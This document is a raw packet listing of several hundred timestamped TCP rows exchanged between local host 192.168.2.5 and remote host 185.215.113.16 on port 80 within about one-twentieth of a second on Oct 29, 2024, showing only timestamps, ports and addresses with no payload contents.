Oct 29, 2024 04:52:59.213785887 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213794947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213807106 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213812113 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213819981 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213831902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213840008 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213851929 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213860035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213886023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213896990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213907003 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213906050 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213921070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213932037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213941097 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213942051 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213953972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213964939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213969946 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213977098 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213988066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.213994026 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.213999033 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214010954 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214011908 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214029074 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214030027 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214042902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214055061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214066029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214068890 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214078903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214102983 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214668989 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214680910 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214690924 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214703083 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214715958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214726925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214737892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214746952 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214754105 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214785099 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214792013 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214797020 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214807987 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214817047 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214821100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214833975 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214857101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214864969 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214874029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214885950 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214895010 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214899063 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214909077 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214909077 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214921951 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214932919 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214943886 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214955091 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214956045 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.214967966 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214979887 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214991093 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.214997053 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215003967 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215014935 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215025902 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215025902 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215039015 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215049028 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215054035 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215060949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215075016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215084076 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215086937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215110064 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215110064 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215132952 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215440035 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215454102 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215512991 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215641975 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215653896 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215665102 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215677023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215687037 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215692997 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215701103 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215712070 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215723038 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215734005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215744019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215744972 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215758085 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215773106 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215791941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215800047 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215804100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215831995 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215843916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215853930 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215863943 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215866089 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215878010 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215884924 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215888977 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215900898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215912104 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215920925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215924025 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215933084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215945005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215955019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215956926 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215966940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215976000 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.215980053 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215991020 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.215996981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216002941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216013908 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216017008 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216031075 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216033936 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216043949 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216053963 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216130018 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216579914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216593027 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216603994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216614962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216633081 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216645002 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216648102 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216655970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216667891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216677904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216681004 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216691971 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216703892 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216715097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216727018 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216737986 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.216742992 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.216787100 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.238192081 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.239406109 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.243637085 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243722916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243735075 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243756056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243772030 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243784904 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.243786097 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243799925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243812084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243850946 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.243875980 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.243916988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243928909 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243942022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243952990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243966103 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.243978024 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244007111 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244046926 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244071960 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244081974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244091988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244092941 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244105101 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244117022 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244128942 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244168043 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244235039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244246006 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244255066 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244287968 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244390965 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244402885 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244414091 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244425058 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244436979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244447947 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244455099 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244458914 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244471073 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244482994 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244488001 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244501114 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244524956 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244541883 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244693041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244704962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244714975 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244726896 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244740963 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244745016 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244757891 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244767904 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244767904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244781017 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244792938 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.244796991 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244821072 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.244997025 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245008945 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245018005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245031118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245042086 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245043039 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245054007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245064974 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245075941 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245078087 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245088100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245099068 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245110035 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245126009 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245127916 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245141029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245151043 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245162010 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245173931 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245172977 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245184898 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245197058 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245201111 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245208979 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245220900 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245232105 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245239019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245244980 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245258093 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245268106 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245270014 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245282888 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245285034 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245321035 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245784998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245795965 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245825052 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245836973 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245836973 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245847940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245860100 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245870113 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245871067 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245887041 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245898962 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245908976 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245909929 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245919943 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245933056 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245934963 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245944023 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245954990 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245965958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245966911 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245976925 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.245987892 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.245989084 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246001005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246011019 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246014118 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246026039 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246042013 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246078014 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246210098 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246222019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246269941 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246346951 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246359110 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246370077 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246381998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246392012 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246395111 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246404886 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246416092 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246419907 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246428013 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246439934 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246449947 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246454000 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246474981 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246500015 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246510983 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246522903 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246550083 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246562958 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246572971 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246576071 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246576071 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246583939 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246598005 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246608019 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246608973 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246619940 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246625900 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246625900 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246634007 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246650934 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246664047 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246674061 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246674061 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246687889 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246699095 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246710062 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246717930 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246721029 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.246740103 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.246773005 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247364044 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247375965 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247386932 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247397900 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247407913 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247407913 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247419119 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247428894 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247441053 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247452021 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247456074 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247462988 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247473001 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247489929 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247508049 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247508049 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247519970 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247530937 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247541904 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247553110 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247565031 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247575045 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247575998 CET	80	49917	185.215.113.16	192.168.2.5
Oct 29, 2024 04:52:59.247586012 CET	49917	80	192.168.2.5	185.215.113.16
Oct 29, 2024 04:52:59.247589111 CET	80	49917	185.215.113.16	192.168.2.5
